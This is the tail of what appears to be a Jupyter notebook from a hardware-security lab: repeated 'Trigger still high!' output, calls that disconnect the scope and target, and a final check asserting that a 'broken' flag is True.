Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
In [11]:
scope.dis()
target.dis()
In [12]:
assert broken is True